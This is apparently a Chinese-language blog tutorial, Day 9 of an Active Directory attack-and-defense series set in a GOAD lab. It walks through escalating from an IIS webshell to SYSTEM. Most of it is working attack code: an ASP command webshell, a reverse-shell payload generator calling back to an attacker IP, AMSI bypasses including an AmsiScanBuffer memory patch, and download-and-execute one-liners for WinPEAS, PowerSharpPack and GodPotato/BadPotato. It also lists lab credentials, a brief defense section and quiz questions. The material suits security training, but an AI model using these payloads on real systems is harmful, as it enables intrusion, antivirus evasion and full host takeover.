iT邦幫忙

2025 iThome 鐵人賽

DAY 9
0
Security

資安這條路:AD 攻防實戰演練系列 第 9

AD 攻防實戰演練 Day 9:Windows 權限提升 - IIS Webshell 到 SYSTEM(使用 SeImpersonatePrivilege)

  • 分享至 

  • xImage
  •  

經過前八天的攻防演練,我們已經成功獲得了多個網域使用者憑證,並透過 MSSQL 取得了初步的系統存取。今天要深入探討 Windows 權限提升(Privilege Escalation)技術,學習如何從低權限的 IIS 服務帳號提升到 SYSTEM 權限。我們將實作 IIS webshell、AMSI 繞過、SeImpersonatePrivilege 濫用等關鍵技術。

本日學習目標

在完成今天的實作後,你將能夠:

  • 部署並操作 IIS Webshell:在 IIS 伺服器上建立持久存取
  • 繞過 AMSI 防護: 繞過不被防毒軟體偵測
  • 利用 SeImpersonatePrivilege:從服務帳號提升到 SYSTEM
  • 實作 Potato 系列技術:PrintSpoofer、GodPotato 等

前置準備

環境需求

在開始之前,確保已經完成:

  • GOAD 環境正常運作(使用 192.168.139.x 網段)
  • 可存取 CASTELBLACK (192.168.139.22) 的 IIS 服務
  • 已取得的憑證:
    • jon.snow:iknownothing
    • samwell.tarly:Heartsbane
    • brandon.stark:iseedeadpeople

一、IIS Webshell 部署與初始存取

1.1 發現 IIS 服務

# 掃描 IIS 服務
nmap -p 80,443,8080 192.168.139.22

image

查看網頁內容
image

CASTELBLACK 上執行著一個簡單的 ASP.NET 應用程式,提供檔案上傳功能。

image

工具準備

# 準備 webshell
cat > webshell.asp << 'EOF'
<%
Function getResult(theParam)
    Dim objSh, objResult
    Set objSh = CreateObject("WScript.Shell")
    Set objResult = objSh.exec(theParam)
    getResult = objResult.StdOut.ReadAll
end Function
%>
<HTML>
    <BODY>
        Enter command:
            <FORM action="" method="POST">
                <input type="text" name="param" size=45 value="<%= myValue %>">
                <input type="submit" value="Run">
            </FORM>
            <p>
        Result :
        <% 
        myValue = request("param")
        thisDir = getResult("cmd /c" & myValue)
        Response.Write(thisDir)
        %>
        </p>
        <br>
    </BODY>
</HTML>
EOF

# 啟動 HTTP 伺服器
python3 -m http.server 8080

1.2 上傳 Webshell

透過 Web 介面上傳我們準備的 webshell.asp

  1. 瀏覽到 http://192.168.139.22
  2. 使用上傳功能上傳 webshell.asp
  3. 檔案會被上傳到 /upload/ 目錄
  4. 存取 http://192.168.139.22/upload/webshell.asp

image

image

1.3 測試指令執行

image

在 webshell 介面執行:

whoami

預期輸出:

iis apppool\defaultapppool

1.4 建立反向 Shell

準備反向 Shell payload:

# gen_ps_payload.py
import base64
import sys

if len(sys.argv) < 3:
    print('usage: %s ip port' % sys.argv[0])
    sys.exit(0)

payload = """
$c = New-Object System.Net.Sockets.TCPClient('%s',%s);
$s = $c.GetStream();[byte[]]$b = 0..65535|%%{0};
while(($i = $s.Read($b, 0, $b.Length)) -ne 0){
    $d = (New-Object -TypeName System.Text.ASCIIEncoding).GetString($b,0, $i);
    $sb = (iex $d 2>&1 | Out-String );
    $sb = ([text.encoding]::ASCII).GetBytes($sb + 'PS> ');
    $s.Write($sb,0,$sb.Length);
    $s.Flush()
};
$c.Close()
""" % (sys.argv[1], sys.argv[2])

byte = payload.encode('utf-16-le')
b64 = base64.b64encode(byte)
print("powershell -exec bypass -enc %s" % b64.decode())

執行:

# 產生 payload
python3 gen_ps_payload.py 192.168.139.136 4444 > ps_payload.txt

image

# 啟動監聽器
nc -nlvp 4444

# 在 webshell 執行 payload
powershell -exec bypass -enc <base64_payload>

image

二、檢查權限與特權

2.1 檢查目前權限

# 檢查使用者身分
whoami
whoami /all

image

關鍵發現:

PRIVILEGES INFORMATION
----------------------
Privilege Name                Description                               State
============================= ========================================= =======
SeImpersonatePrivilege        Impersonate a client after authentication Enabled

SeImpersonatePrivilege 是關鍵!這個權限允許我們模擬其他使用者的身分。

2.2 為什麼 IIS/MSSQL 有 SeImpersonatePrivilege?

  • IIS 和 SQL Server 服務預設擁有此權限
  • 用於合法的使用者模擬(例如:處理不同使用者的請求)
  • 但也可以被濫用來提升權限!

三、AMSI 繞過技術

3.1 為什麼需要繞過 AMSI?

Anti-Malware Scan Interface (AMSI) 會:

  • 掃描 PowerShell 腳本
  • 偵測惡意 .NET 組件
  • 阻止已知的攻擊工具

許多 AMSI 繞過在現代系統不再可靠/會觸發 EDR,
以及繞過方式會隨 Windows 版本與 Defender 更新被修補。

3.2 手動修改繞過技術

原始的 AMSI 繞過:

[Runtime.InteropServices.Marshal]::WriteInt32([Ref].Assembly.GetType('System.Management.Automation.AmsiUtils').GetField('amsiContext',[Reflection.BindingFlags]'NonPublic,Static').GetValue($null),0x41414141)

修改版本(分割字串):

$x=[Ref].Assembly.GetType('System.Management.Automation.Am'+'siUt'+'ils');
$y=$x.GetField('am'+'siCon'+'text',[Reflection.BindingFlags]'NonPublic,Static');
$z=$y.GetValue($null);
[Runtime.InteropServices.Marshal]::WriteInt32($z,0x41424344)

3.3 .NET 層級 AMSI 繞過

# Rasta Mouse 的 AmsiScanBuffer patch
$Win32 = @"
using System;
using System.Runtime.InteropServices;

public class Win32 {
    [DllImport("kernel32")]
    public static extern IntPtr GetProcAddress(IntPtr hModule, string procName);

    [DllImport("kernel32")]
    public static extern IntPtr LoadLibrary(string name);

    [DllImport("kernel32")]
    public static extern bool VirtualProtect(IntPtr lpAddress, UIntPtr dwSize, uint flNewProtect, out uint lpflOldProtect);
}
"@

Add-Type $Win32

$LoadLibrary = [Win32]::LoadLibrary("amsi.dll")
$Address = [Win32]::GetProcAddress($LoadLibrary, "AmsiScanBuffer")
$p = 0
[Win32]::VirtualProtect($Address, [uint32]5, 0x40, [ref]$p)
$Patch = [Byte[]] (0xB8, 0x57, 0x00, 0x07, 0x80, 0xC3)
[System.Runtime.InteropServices.Marshal]::Copy($Patch, 0, $Address, 6)

3.4 遠端載入 AMSI 繞過

# 從遠端載入 AMSI 繞過腳本
(new-object system.net.webclient).downloadstring('http://192.168.139.136:8080/amsi_bypass.txt')|IEX

四、記憶體中執行 WinPEAS

4.1 準備 WinPEAS

# 下載 WinPEAS
wget https://github.com/carlospolop/PEASS-ng/releases/latest/download/winPEASany_ofs.exe

# 啟動 HTTP 伺服器
python3 -m http.server 8080

4.2 記憶體載入執行

# 載入並執行 WinPEAS(不落地)
$data=(New-Object System.Net.WebClient).DownloadData('http://192.168.139.136:8080/winPEASany_ofs.exe');
$asm = [System.Reflection.Assembly]::Load([byte[]]$data);
$out = [Console]::Out;
$sWriter = New-Object IO.StringWriter;
[Console]::SetOut($sWriter);
[winPEAS.Program]::Main("");
[Console]::SetOut($out);
$sWriter.ToString()

image

WinPEAS 會識別出 SeImpersonatePrivilege 可用於權限提升。

image

image

4.3 使用 PowerSharpPack

更簡單的方式:

# 載入 PowerSharpPack
iex(new-object net.webclient).downloadstring('http://192.168.139.136:8080/PowerSharpPack/PowerSharpPack.ps1')

# 執行 WinPEAS
PowerSharpPack -winPEAS

五、Potato 系列提權技術

5.1 理解 Potato 攻擊

Potato 系列利用 Windows 的模擬機制:

  1. 誘騙 SYSTEM 權限的服務連接到我們
  2. 劫持或中繼該連接
  3. 模擬 SYSTEM 的 token

5.2 使用 GodPotato

https://github.com/BeichenDream/GodPotato/releases/tag/V1.20

準備執行檔和 payload:

# 建立反向 Shell 批次檔
cat > runme.bat << 'EOF'
@echo off
powershell -exec bypass -enc <base64_reverse_shell>
exit /b
EOF

wget https://github.com/BeichenDream/GodPotato/releases/download/V1.20/GodPotato-NET4.exe

mv GodPotato-NET4.exe GodPotato.exe

python3 -m http.server 8080

image

在目標上執行:

# 建立臨時目錄
mkdir c:\temp
cd c:\temp

# 下載 payload
(New-Object System.Net.WebClient).DownloadFile('http://192.168.139.136:8080/GodPotato.exe','c:\temp\GodPotato.exe')

# 在攻擊者機器上開啟另一個終端機監聽
nc -lvp 4444

./GodPotato -cmd "whoami"
./GodPotato -cmd "C:\temp\runme.bat"

image

image

image

成功後會獲得 NT AUTHORITY\SYSTEM 權限!

5.3 使用 PrintSpoofer(SweetPotato 的預設方法)

PrintSpoofer 是 @itm4n 開發的技術,利用印表機服務的具名管道。

https://github.com/itm4n/PrintSpoofer

5.4 使用 BadPotato(透過 PowerSharpPack)

# AMSI 繞過
$x=[Ref].Assembly.GetType('System.Management.Automation.Am'+'siUt'+'ils');
$y=$x.GetField('am'+'siCon'+'text',[Reflection.BindingFlags]'NonPublic,Static');
$z=$y.GetValue($null);
[Runtime.InteropServices.Marshal]::WriteInt32($z,0x41424344)

# 載入 AMSI 繞過和 BadPotato
iex(new-object system.net.webclient).downloadstring('http://192.168.139.136:8080/amsi_rmouse.txt')
iex(new-object net.webclient).downloadstring('http://192.168.139.136:8080/PowerSharpPack/PowerSharpBinaries/Invoke-BadPotato.ps1')

# 執行提權
Invoke-BadPotato -Command "c:\temp\runme.bat"

六、防禦措施

6.1 防止 SeImpersonatePrivilege 濫用

# 檢查哪些帳號有此權限
Get-WmiObject Win32_LogonSession | Where-Object {$_.LogonType -eq 5} | 
    ForEach-Object {
        $session = $_.LogonId
        Get-WmiObject Win32_LoggedOnUser -Filter "Dependent='Win32_LogonSession.LogonId=$session'"
    }

6.2 監控可疑活動

監控以下事件:

Event ID 描述 重要性
4673 特權服務呼叫
4674 特權操作嘗試
4688 新 Process 建立
4697 服務安裝
7045 新服務建立

6.3 加強建議

  1. 限制 SeImpersonatePrivilege

    • 使用 Group Managed Service Accounts (gMSA)
    • 最小權限原則
  2. 強制 LDAP 簽章

    Set-ItemProperty -Path "HKLM:\System\CurrentControlSet\Services\NTDS\Parameters" `
        -Name "LDAPServerIntegrity" -Value 2
    
  3. 限制機器帳號配額

    Set-ADDomain -Identity "north.sevenkingdoms.local" `
        -Replace @{"ms-DS-MachineAccountQuota"="0"}
    

攻擊鏈總結

1. IIS Upload → Webshell
   ↓
2. Webshell → PowerShell Reverse Shell
   ↓
3. AMSI Bypass → 工具執行能力
   ↓
4. SeImpersonatePrivilege → Potato 提權
   ↓
5. SYSTEM → 完全控制
   ↓
6. 憑證提取 → 橫向移動準備

題目 1

在 Windows 系統中,下列哪個權限允許一個程式模擬其他使用者的安全上下文?

A) SeDebugPrivilege
B) SeImpersonatePrivilege
C) SeBackupPrivilege
D) SeRestorePrivilege

答案:B

解析:
SeImpersonatePrivilege 是專門設計用來允許程式模擬(Impersonate)其他使用者身分的權限。這個權限通常授予給需要代表不同使用者執行任務的服務,如 IIS 和 SQL Server。雖然 SeDebugPrivilege(A選項)也很強大,可以存取任何程式的記憶體,但它主要用於偵錯而非身分模擬。SeBackupPrivilege 和 SeRestorePrivilege(C、D選項)則是與檔案系統備份和還原相關的權限。


題目 2

執行下列哪個 PowerShell 命令片段最可能成功繞過 AMSI 掃描?

A) Disable-WindowsDefender -Force
B) [Ref].Assembly.GetType('System.Management.Automation.AmsiUtils')
C) $x=[Ref].Assembly.GetType('System.Management.Automation.Am'+'siUt'+'ils')
D) Set-MpPreference -DisableRealtimeMonitoring $true

答案:C

解析:
選項 C 使用字串分割技術('Am'+'siUt'+'ils')來避免 AMSI 的靜態特徵偵測。這是一種常見的混淆技術,通過將敏感字串分割成多個部分再組合,可以繞過基於字串匹配的檢測。選項 B 雖然是正確的類別引用,但直接使用完整字串容易被偵測。選項 A 和 D 是嘗試直接停用防護功能的命令,不僅需要管理員權限,而且會被 AMSI 直接攔截。


題目 3

Potato 系列攻擊工具主要利用了 Windows 的哪個機制來實現權限提升?

A) DLL 劫持載入機制
B) UAC 繞過機制
C) Token 模擬與具名管道劫持
D) 核心驅動程式漏洞

答案:C

解析:
Potato 系列工具(包括 GodPotato、SweetPotato、BadPotato 等)的核心原理是利用 Windows 的 Token 模擬機制。攻擊流程是:(1) 建立惡意的具名管道或 COM 伺服器,(2) 誘騙 SYSTEM 權限的服務連接到攻擊者控制的端點,(3) 透過 SeImpersonatePrivilege 權限模擬 SYSTEM 的 token,從而獲得最高權限。這種技術不依賴於 DLL 劫持(A選項)、UAC 繞過(B選項)或核心漏洞(D選項)。


題目 4

在監控潛在的權限提升攻擊時,下列哪個 Windows 事件 ID 最能直接指示特權服務的異常呼叫?

A) Event ID 4624 - 帳戶登入
B) Event ID 4673 - 特權服務呼叫
C) Event ID 4688 - 新 Process 建立
D) Event ID 5140 - 網路共享存取

答案:B

解析:
Event ID 4673 專門記錄特權服務的呼叫,包括使用 SeImpersonatePrivilege 等敏感權限的操作,是監控權限提升攻擊的關鍵指標。當攻擊者使用 Potato 系列工具時,會觸發此事件。Event ID 4624(A選項)記錄一般登入事件,4688(C選項)記錄程式建立但不特別關注權限使用,5140(D選項)則與網路共享相關,都不如 4673 直接相關於特權操作的監控。


題目 5

使用 WinPEAS 等枚舉工具時,為什麼建議採用記憶體載入執行而非直接下載到磁碟?

A) 記憶體執行速度更快
B) 避免防毒軟體掃描和留下磁碟痕跡
C) 記憶體載入不需要管理員權限
D) 可以同時執行多個實例

答案:B

解析:
記憶體載入執行(也稱為 "fileless" 或 "living off the land" 技術)的主要優勢是避免在磁碟上留下痕跡,同時繞過基於檔案系統的防毒掃描。透過 [System.Reflection.Assembly]::Load() 直接將執行檔載入記憶體執行,可以避免觸發檔案系統監控和防毒軟體的即時掃描。這種技術與執行速度(A選項)無關,仍然需要適當的權限(C選項),也不是為了多實例執行(D選項)而設計的。


上一篇
AD 攻防實戰演練 Day 8:MSSQL 滲透測試 - 從資料庫到系統權限
系列文
資安這條路:AD 攻防實戰演練9
圖片
  熱門推薦
圖片
{{ item.channelVendor }} | {{ item.webinarstarted }} |
{{ formatDate(item.duration) }}
直播中

尚未有邦友留言

立即登入留言